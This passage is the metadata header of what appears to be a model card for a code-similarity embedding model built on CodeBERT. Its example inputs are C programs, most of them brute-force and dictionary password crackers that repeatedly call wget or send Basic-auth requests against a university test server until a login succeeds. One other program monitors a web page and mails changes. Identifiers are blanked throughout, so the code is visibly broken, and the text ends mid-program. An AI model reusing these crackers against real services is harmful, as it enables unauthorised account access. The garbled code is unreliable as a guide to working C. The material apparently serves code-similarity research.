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--- |
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tags: |
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- sentence-transformers |
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- sentence-similarity |
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- feature-extraction |
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- dense |
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- generated_from_trainer |
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- dataset_size:3081 |
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- loss:BatchAllTripletLoss |
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base_model: microsoft/codebert-base |
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widget: |
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- source_sentence: "#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n\ |
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#include <ctype.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n\ |
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#include <strings.h>\n#include <string.h>\n#include <ctype.h>\n#include <sys/time.h>\n\ |
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#define ant 1e9\n\nint ()\n{\nchar c[2],[3][2];\nregister int i,j,k,x,y,z,t,r,s,final,count=0;\n\ |
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int starttime,endtime,totaltime; \nchar ch[5],ch1[5],ch2[5],s1[100],s2[100];\n\ |
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c[0]='A',c[1]='a';\n[0][1]=[1][1]=[2][1]='\\0';\n\nstrcpy(s1, \"wget --http-user=\ |
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\ --http-passwd=\");\n strcpy(s2, \" http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
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);\n\nstarttime=time();\n\nfor(r=0;r<=1;r++)\n{\n\t\n\tfor(i=c[r],x=0;x<=25;x++,i++)\n\ |
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\t{\n\t\t\n\t\t [0][0]=i;\n\t\t strcpy(ch,[0]);\n\n\n\t\tfor(s=0;s<=1;s++)\n\t\ |
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\t{\n\t\t\tfor(j=c[s],z=0;z<=25;z++,j++)\n\t\t\t{\t\n\t\t\n\t\t\t\t[1][0]=j;\n\ |
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\t\t\t\tstrcpy(ch1,[0]);\n\t\t\t\tstrcat(ch1,[1]);\n\n\t\t\t\tfor(t=0;t<=1;t++)\n\ |
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\t\t\t\t{\n\t\t\t\t\tfor(k=c[t],y=0;y<=25;y++,k++)\n\t\t\t\t\t{\tcount++;\n\t\t\ |
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\t\t\t\t[2][0]=k;\n\t\t\t\t\t\tstrcpy(ch2,ch1);\n\t\t\t\t\t\tstrcat(ch2,[2]);\n\ |
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\t\t\t\t\t\tprintf(\"\\n %s\",ch2);\n\n\n\n strcat(s1, ch2);\n \ |
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\ strcat(s1, s2);\n\t printf(\"\\n combination sent %s\\n\", s1);\n \ |
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\ final = system(s1);\n if (final == 0)\n {\n \ |
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\ endtime=time();\n\t\ttotaltime=(endtime-starttime);\n\t\t printf(\"count %d\"\ |
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,count);\n\t printf(\"totaltime %1f\",(double)totaltime/ant);\n\t printf(\"\ |
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\\nsuccess %s\\n\",ch2);\n exit(1);\n }\n\n\n\t strcpy(s1,\ |
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\ \"\");\n\t strcpy(s1, \"wget --http-user= --http-passwd=\");\n\n\n\t\t\t\t\ |
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}\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t }\n}\n\n}\n\n\n\n" |
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sentences: |
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- "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include\ |
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\ <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\ |
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#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include\ |
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\ <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE\ |
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\ 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define\ |
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\ FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define\ |
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\ STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\n\ |
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char *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in\ |
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\ serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\n\ |
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void printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint\ |
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\ openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char\ |
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\ *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const\ |
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\ unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char\ |
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\ *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n\ |
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{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt =\ |
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\ 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host,\ |
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\ &filename);\n\n initialiseConnection();\n = openConnection();\n\n \ |
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\ \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password,\ |
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\ 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n \ |
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\ printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n\ |
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}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static\ |
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\ const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ |
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;\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n \ |
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\ currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1]\ |
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\ = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \ |
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\ \n generatePassword(password, reqLength);\n }\n \ |
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\ else\n {\n testPassword(password);\n }\n\n password[currLength]\ |
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\ = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\ |
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\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username,\ |
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\ password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n\ |
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\ {\n printf(\"The password has been found after %d attempts: %s\\n\"\ |
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,\n attempt, password);\n exit(RETURN_OK);\n }\n else\ |
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\ if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n\ |
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\ goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n\ |
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\ {\n printf(\"Status %d received from server\\n\", status);\n \ |
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\ exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char\ |
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\ *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n \ |
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\ printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1]\ |
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\ + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2]\ |
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\ + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char\ |
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\ *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s\ |
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\ url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char\ |
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\ **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url,\ |
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\ \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n \ |
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\ p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n \ |
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\ {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n\ |
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\ }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n\ |
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\ (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n \ |
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\ strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename,\ |
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\ char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n\ |
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\ unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\ |
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\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n\ |
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\ base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\\ |
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nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\ |
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\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\"\ |
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);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n\ |
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\ char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char\ |
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\ status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n \ |
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\ bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n \ |
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\ {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\ |
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\ else if (bytesRead == 0)\n {\n \n return\ |
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\ CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \ |
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\ \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n \ |
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\ {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str,\ |
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\ p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return\ |
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\ status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET,\ |
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\ SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n\ |
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\ }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr))\ |
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\ == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n \ |
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\ }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent\ |
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\ *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\ |
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\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port\ |
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\ = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n \ |
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\ serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n\ |
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\ }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\t\ |
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serverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\ |
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\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n\ |
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\ {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host,\ |
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\ errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const\ |
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\ unsigned char *input, unsigned char *output)\n{\n static const char *codes\ |
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\ = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ |
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;\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int\ |
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\ a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *)\ |
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\ input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull;\ |
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\ i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0]\ |
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\ & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2)\ |
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\ + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input +=\ |
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\ 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n \ |
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\ b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a\ |
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\ >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1\ |
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\ < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n \ |
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\ }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n\ |
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{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message,\ |
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\ \"The specified host is unknown\");\n break;\n\n NO_DATA:\n\ |
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\ strcpy(message, \"The specified host name is valid, but does not\ |
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\ have address\");\n break;\n\n NO_RECOVERY:\n \ |
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\ strcpy(message, \"A non-recoverable name server error occurred\");\n \ |
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\ break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary\ |
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\ error occurred authoritative name server. Try again later.\");\n \ |
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\ break;\n\n default:\n strcpy(message, \" unknown name\ |
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\ server error occurred.\");\n }\n}\n\n" |
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- "# include <stdlib.h>\n# include <stdio.h>\n# include <strings.h>\n\n\nint ()\n\ |
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{\n\t\n\tFILE* fpp;\t\t\t\t\t\t\t\t\t\t\n\tFILE* fp;\n\t\t\t\n\tchar s[100];\n\ |
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\tint i;\n\t\n\twhile(1)\t\t\t\t\t\t\t\t\t\t\n\t{\n\t\tsystem(\"wget -nv http://www.cs.rmit.edu./students\"\ |
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);\t\t\t\t\n\t\t\n\t\ti=0;\t\t\n\t\t\n\t\tfp = fopen(\"dummyindex.txt\",\"r\"\ |
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);\n\t\t\n\t\tif(fp == (FILE*) NULL)\t\t\t\t\t\t\t\t\n\t\t{\n\t\t\tprintf(\" is\ |
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\ previously saved webpage in the file\\n\");\n\t\t\ti=1;\n\t\t\tfp = fopen(\"\ |
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dummyindex.txt\",\"w\");\n\n\t\t}\n\t\t\t\t\n\t\tfclose(fp);\n\t\t\n\t\t\t\t\n\ |
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\t\t\n\t\t\n\t\t\n\t\tsystem(\"diff index.html dummyindex.txt > compareoutput.txt\"\ |
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);\t\t\n\n\t\t\t\t\n\t\tif(fpp != (FILE*) NULL)\t\n\t\t{\n\t\t\t\n\t\t\tfpp =\ |
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\ fopen(\"compareoutput.txt\",\"r\");\t\t\t\t\t\n\t\t\t\n\t\t\tfgets(s,100,fpp);\t\ |
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\t\t\t\t\t\t\n\t\t\t\n\t\t\tfclose(fpp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t \n\ |
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\t\t\tif((strlen(s)>0) && i==0)\t\t\t\t\t\t\t\t\n\t\t\t{\n\t\t\t\tsystem(\"mail\ |
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\ @cs.rmit.edu. < compareoutput.txt\");\t\n\t\t\t\tsystem(\"cp index.html dummyindex.txt\"\ |
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);\t\t\t\t\n\t\t\t\tprintf(\"Message has been sent\\n\");\t\t\t\t\n\t\t\t}\n\t\ |
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\t\telse\n\t\t\t\tprintf(\" is change in the \\n\");\t\t\t\n\t\t}\n\t\t\n\t\t\ |
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\n\n\t\tsystem(\"rm index.html\")\t;\t\t\t\t\n\t\t\n\t\tsleep(86400);\t\t\t\t\t\ |
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\t\t\t\t\n\t}\n\t\t\t\t\n\treturn 1;\n}\n" |
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- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\ |
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#include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{ int startTime, stopTime,\ |
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\ final;\n int i,j,k;\n FILE* fp;\n int pass,len;\n int count = 0;\n\ |
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\ char [50];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ |
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\ fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n while (fp !='\\0')\n\ |
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\ {\n fgets( ,50,fp);\n\n len = strlen();\n [strlen()-1]\ |
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\ ='\\0';\n\n if(len <= 4)\n {\n count++;\n\t printf(\"\ |
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Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\"\ |
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);\n\t strcat(url1,);\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\ |
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\ \");\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass\ |
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\ == 0)\n\t {\n\t stopTime = time();\n final = stopTime-startTime;\n\ |
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\t printf(\"\\n SUCCESS\\n\");\n\t printf(\"The password for the user\ |
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\ : %s\\n \",);\n\t printf(\"Found the password in %lld nanoseconds (%1f\ |
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\ seconds) \\n\",final,(double)final/OneBillion);\n\t printf(\"Number of\ |
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\ attempts : %d\\n\",count);\n exit(1);\n\t }\n }\n }\n\n\ |
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\ }\n" |
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- source_sentence: "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n\ |
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#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar\ |
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\ a[100];\nint count=0;\nchar ch;\nchar line[100];\nchar filename[50];\nchar *token;\n\ |
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const char delimiter[]=\" \\n.,;:!-\";\nFILE *fp;\nint total_time,start_time,end_time;\n\ |
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start_time = time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"\ |
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r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n\ |
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{\n token=strtok(line,delimiter); \n while(token!=NULL)\n \ |
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\ {\n count++;\n\t printf(\"ATTEMPT : %d\\n\",count);\n\ |
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strcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\"\ |
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);\n strcat(a,token); \n printf(\"\ |
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The request %s\\n\",a); \n if(system(a)==0)\n\t\t{\n\t\tprintf(\"\ |
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Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"\ |
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************************************************************\\n\");\n\t\tprintf(\"\ |
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Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n\ |
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\ end_time = time();\n total_time = (end_time -start_time);\n\ |
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\ total_time /= 1000000000.0;\n printf(\"The Time\ |
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\ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n \n\ |
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\ token=strtok(NULL,delimiter);\n \n \ |
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\ }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n" |
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sentences: |
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- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\ |
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\t\t\t\t \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\ |
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\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\ |
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#define MAX_CHAR_SET 52\n\n#define TRUE 1\n#define FALSE 0\n\n\n\n\n\n\n\n\ntypedef\ |
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\ int (*CrackFuncPtr)(const char*, const char*);\n\nint runBruteForce(const char\ |
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\ chSet[], int numOfCh, int len, CrackFuncPtr func);\nchar* initPasswdStr(int\ |
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\ len, char ch);\nint getChPos(const char chSet[], int numOfCh, char ch);\nint\ |
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\ pow(int x, int y);\nint crackHTTPAuth(const char *username, const char *passwd);\n\ |
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\nint ()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\ |
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\ 'J', 'K',\n\t\t\t\t\t\t\t'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\ |
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\ \n\t\t\t\t\t\t\t'W', 'X', 'Y', 'Z',\n\t\t\t\t\t\t\t'a', 'b', 'c', 'd', 'e',\ |
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\ 'f', 'g', 'h', 'i', 'j', 'k',\n\t\t\t\t\t\t\t'l', 'm', 'n', 'o', 'p', 'q', 'r',\ |
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\ 's', 't', 'u', 'v', \n\t\t\t\t\t\t\t'w', 'x', 'y', 'z'};\n\t\n\tchar charSetS[]\ |
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\ = {'A', 'B', 'C'};\n\n\tint i; \n\t\n\tfor (i=1; i<=MAX_PASSWD_LEN; i++)\n\t\ |
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{\n\t\tif (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))\n\t\t{\n\t\t\ |
|
|
\treturn 0;\n\t\t}\n\t}\n\n\tprintf(\"\\n...password not found\\n\");\t\t\t\t\t\ |
|
|
\t\t \t\n\treturn 0;\n}\n\nint runBruteForce(const char chSet[], int numOfCh,\ |
|
|
\ int len, CrackFuncPtr func)\n{\n\tint iter; \n\tint chIter; \n\tint curPos =\ |
|
|
\ 0; \n\t\n\tchar *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len,\ |
|
|
\ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\n\tfor\ |
|
|
\ (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)\n\t{\n\t\tfor (chIter=len-1;\ |
|
|
\ chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh, chIter) == 0) \n\t\ |
|
|
\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\t\t\t\tstr[chIter]\ |
|
|
\ = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh, (chIter+1)) ==\ |
|
|
\ 0) \n\t\t\t{\n\t\t\t\tstr[chIter] = chSet[0];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif\ |
|
|
\ (func(USERNAME, str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\", str);\n\ |
|
|
\t\t\tpasswdFound = TRUE;\n\t\t}\n\n\t\t\n\t\tprintf(\".\");\n\t\t\t\t\t\n\t}\n\ |
|
|
\n\t(str);\n\tstr = NULL;\n\n\treturn passwdFound;\n}\n\nint getChPos(const char\ |
|
|
\ chSet[], int numOfCh, char ch)\n{\n\tint i;\n\t\n\tfor (i=0; i<numOfCh; i++)\n\ |
|
|
\t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n\ |
|
|
\t\n}\n\nchar* initPasswdStr(int len, char ch)\n{\n\tint i;\n\n\tchar *str;\n\n\ |
|
|
\tstr = malloc(len);\n\n\tif (str)\n\t{\n\t\tfor (i=0; i<len; i++)\n\t\t{\n\t\t\ |
|
|
\tstr[i] = ch;\n\t\t}\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr,\ |
|
|
\ \"\\nError: Unable allocate %d bytes memory.\");\n\t\texit(1);\n\t}\n\t\n\t\ |
|
|
return str;\n}\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\t\n\tfor (i=0;\ |
|
|
\ i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\nint crackHTTPAuth(const\ |
|
|
\ char *username, const char *passwd)\n{\n\tchar cmd[256];\n\tstruct stat fileInfo;\n\ |
|
|
\t\n\tsprintf(cmd, \"wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s\"\ |
|
|
, \n\t\t\t\t\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\n\t(void)stat(\"\ |
|
|
\", &fileInfo); \n\n\treturn fileInfo.st_size;\n\t\n}\n\n" |
|
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\ |
|
|
#include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{ int startTime, stopTime,\ |
|
|
\ final;\n int i,j,k;\n FILE* fp;\n int pass,len;\n int count = 0;\n\ |
|
|
\ char [50];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ |
|
|
\ fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n while (fp !='\\0')\n\ |
|
|
\ {\n fgets( ,50,fp);\n\n len = strlen();\n [strlen()-1]\ |
|
|
\ ='\\0';\n\n if(len <= 4)\n {\n count++;\n\t printf(\"\ |
|
|
Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\"\ |
|
|
);\n\t strcat(url1,);\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\ |
|
|
\ \");\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass\ |
|
|
\ == 0)\n\t {\n\t stopTime = time();\n final = stopTime-startTime;\n\ |
|
|
\t printf(\"\\n SUCCESS\\n\");\n\t printf(\"The password for the user\ |
|
|
\ : %s\\n \",);\n\t printf(\"Found the password in %lld nanoseconds (%1f\ |
|
|
\ seconds) \\n\",final,(double)final/OneBillion);\n\t printf(\"Number of\ |
|
|
\ attempts : %d\\n\",count);\n exit(1);\n\t }\n }\n }\n\n\ |
|
|
\ }\n" |
|
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\ |
|
|
#include <sys/time.h>\n\nint ()\n{\n char lc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
|
;\n char uc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n char\ |
|
|
\ gc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n int a=0,b=0,c=0,d,e,count=0;\n\ |
|
|
\ char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];\n\ |
|
|
\ char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;\n \n int ,end,t;\n =\ |
|
|
\ time(); \nwhile(sizeof(lc)!=52)\n{\n temp2[0]=lc[d];\n temp2[1]='\\\ |
|
|
0';\n d=d+1;\n strcpy(p,temp2);\n \n while(sizeof(uc)!=52)\n {\n\ |
|
|
\ temp3[0]=uc[b];\n temp3[1]='\\0';\n b=b+1;\n strcpy(q,p);\n\ |
|
|
\ strcat(q,temp3);\n for(e=0;e<52;e++)\n {\n temp1[0]=gc[e];\n\ |
|
|
\ttemp1[1]='\\0';\n\tstrcpy(r,q);\n\tstrcat(r,temp1);\n strcpy(mx,\"wget\ |
|
|
\ http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=\");\n \ |
|
|
\ strcat(mx,r);\n printf(\"temp3=%s\\n\",mx);\n if(system(mx)==0)\n\ |
|
|
\ { \n printf(\"Password=%s\\n\",mx);\n\t printf(\"%d \\n\",count);\n\ |
|
|
\t end = time();\n t = (end -);\n t /= 1000000000.0;\n \ |
|
|
\ printf(\"The total time_var taken is:%llds\\n\",t);\n\t exit(1);\n \n\ |
|
|
\ }\n }\n }\n }\n return 0;\n}\n" |
|
|
- source_sentence: "\n\n\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n\ |
|
|
#include<strings.h>\n#include<sys/types.h>\n#include<sys/times.h>\n#include<sys/time.h>\n\ |
|
|
#include<unistd.h>\n\nint ()\n{\n char url[80];\n char syscom[]= \"wget -nv\ |
|
|
\ --http-user= --http-passwd=\";\n char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
|
;\n char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n char\ |
|
|
\ username[8];\n char pass[4];\n int i,j,k,hack=1;\n int attempt = 1;\n int\ |
|
|
\ , end, time_var;\n\n = time();\n for ( i = 0 ;i<strlen();i++)\n {\n \ |
|
|
\ pass[0]=[i];\n for( j = 0 ;j<strlen();j++)\n {\n pass[1]=[j];\n\ |
|
|
\ for ( k = 0 ;k<strlen();k++)\n {\n fflush(stdin);\n\ |
|
|
\ pass[2]=[k];\n pass[3]='\\0';\n printf(\"\ |
|
|
%s\\n\",pass);\n\n sprintf(url,\"%s%s %s\",syscom,pass,http);\n\ |
|
|
\ hack = system(url);\n attempt++;\n \ |
|
|
\ if (hack == 0)\n {\n end = time();\n \ |
|
|
\ time_var = (end-);\n printf(\"\\nbr\tThe password\ |
|
|
\ is :%s\",pass);\n printf(\"\\nNo. of Attempts crack the password\ |
|
|
\ :%d\",attempt);\n printf(\"\\nTime taken crack the password\ |
|
|
\ = %lld sec\\n\",time_var/1000000000);\n exit(1);\n \ |
|
|
\ }\n }\n }\n }\n }\n\n" |
|
|
sentences: |
|
|
- "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\ |
|
|
#include<sys/time.h>\n\n()\n{\n\tint i,m,k,count=0;\n\tFILE* diction;\n\tFILE*\ |
|
|
\ log;\n\tchar s[30];\n\tchar pic[30];\n\tchar add[1000];\n\tchar end[100];\n\t\ |
|
|
time_t ,finish;\n\tdouble ttime;\n\t\n\tstrcpy(add,\"wget --http-user= --http-passwd=\"\ |
|
|
);\n\tstrcpy( end,\"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/\");\n\tdiction=fopen(\"\ |
|
|
/usr/share/lib/dict/words\",\"r\");\n\t=time(NULL);\n\twhile(fgets(s,100,diction)!=NULL)\t\ |
|
|
\n\t{\t\n\t\tprintf(\"%s\\n\",s);\n\t\tfor(m=40,k=0;k<(strlen(s)-1);k++,m++)\n\ |
|
|
\t\t{\n\t\t\tadd[m]=s[k];\n\t\t}\n\t\tadd[m++]=' ';\n\t\tfor(i=0;i<50;i++,m++)\n\ |
|
|
\t\t{\n\t\t\tadd[m]=end[i];\n\t\t}\n\t\tadd[m]='\\0';\n\t\t\n\t\tsystem(add);\n\ |
|
|
\t\tcount++;\n\t\tlog=fopen(\"logd\",\"r\");\n\t\tfgets(pic,100,log);\n\t\tprintf(\"\ |
|
|
%s\",pic);\n\t\tif(strcmp(pic,\"Authorization failed.\\n\")!=0)\t\n\t\t{\n\t\t\ |
|
|
\tfinish=time(NULL);\n\t\t\tttime=difftime(,finish);\n\t\t\tprintf( \"\\n The\ |
|
|
\ time_var take:%f/n The of passwords tried is %d\\n\",ttime,count);\n\t\t\t\ |
|
|
break;\n\t\t}\n\t\tfclose(log);\n\t}\n\n}\n" |
|
|
- "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\ |
|
|
\n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n int i, cnt, flag;\n\ |
|
|
\ char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \ |
|
|
\ char fin;\n \n strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
|
);\n strcpy(string2,\" --http-user= --http-passwd='\");\n strcpy(,\"\");\n\ |
|
|
\n while ((fin = fgetc(fp)) != EOF)\n {\n cnt = 0;\n \n for\ |
|
|
\ (i=0;i<MAX_SIZE;i++)\n { \n passwd[i] = '\\0';\n [i]\ |
|
|
\ = '\\0';\n }\n\t \n while(fin != '\\n')\n {\n\t passwd[cnt] =\ |
|
|
\ fin;\n\t cnt++;\n\t fin = fgetc(fp);\n } \n \n if(strlen(passwd)\ |
|
|
\ <= 3)\n {\n strcat(, string1);\n strcat(, string2);\n\t\ |
|
|
\ strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\\ |
|
|
n\",);\n\t flag = system();\n\t \n if (flag == 0)\n\t {\n \ |
|
|
\ printf(\"\\nPassword is %s\\n\",passwd);\n\t return 1;\n\t }\n \n\ |
|
|
\t strcpy(,\"\"); \n strcpy(passwd,\"\");\n }\n }\n} \n\n\n\ |
|
|
